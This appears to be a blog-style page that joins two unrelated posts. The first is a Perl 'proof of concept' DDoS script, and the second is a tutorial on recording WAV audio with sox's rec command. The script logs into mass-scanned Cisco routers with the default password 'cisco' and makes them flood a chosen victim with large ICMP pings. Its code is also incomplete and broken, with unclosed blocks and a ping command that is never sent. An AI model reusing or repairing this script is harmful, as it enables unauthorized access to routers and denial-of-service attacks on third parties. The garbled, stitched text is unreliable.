DDOS based on ICMP echo request

Prof of concept of a simple DDOS program based on ICMP echo request from cisco routers.
With mass scanner you can get an important list of cisco default install
and by looking to their MTU and throughtput, you may tune the ICMP size to DOS a big network in few seconds
the program is informational only, please keep it on this way

use Parallel::ForkManager;
use Net::Telnet();
use Net::Telnet::Cisco;
use strict;

sub usage {
print “\n\n\e[00;34mddsco.pl [victim] [cisco file list] \e[00m \n\n”;

my $victim = $ARGV[0];
my $file = $ARGV[1];

if ((!$victim) or (!$file)) {

my $login = “cisco”;
my $passwd = “cisco”;
my $enable = “cisco”;
my $mtu = 1500;
my $cmd = “ping “.$victim.” size 1500 df-bit repeat 1000″;

open FILE, “<$file” or die $!;
my $pm = new Parallel::ForkManager(100);
for (1..1000) {
while () {
$pm->start and next;
my $host = $_;
my $session = Net::Telnet::Cisco->new(Host => $host);
$session->login($login, $passwd);
$pm->finish; ## end point of the parallel process
$pm->wait_all_children; ## wait for the child processes


Recording a Sound File

To record a simple WAV sample from the microphone and save it to a file called `hello.wav’, install sox and type:
$ rec hello.wav

this command begins an 8,000 Hz, monaural 8-bit WAV recording to the file `hello.wav’, and keeps recording until you interrupt it with C-c.
While the default is to make a low-fidelity recording — 8,000 Hz, monaural 8-bit samples — you can specify that a high-fidelity recording be made.
(But remember that high-fidelity recordings take up much more disk space.)

To make a stereo recording, use the `-c’ option to specify the number of channels, giving 2 as the argument. To make a 16-bit recording, give `w’ (“wide”) as the argument to the `-s’ (“sample size”) option.
Set the recording sample rate by giving the samples per second to use as an argument to the `-r’ option. For CD-quality audio at 44,100Hz, use `-r 44100′.
Finally, to record a file in a particular format, either give the name of the format as an argument to the `-f’ option, or use the traditional file name extension for that format in the output file name (see Sound File Formats).

To make a high-fidelity recording from the microphone and save it to a WAV-format file called `goodbye.wav’, type:
$ rec -s w -c 2 -r 44100 goodbye.wav
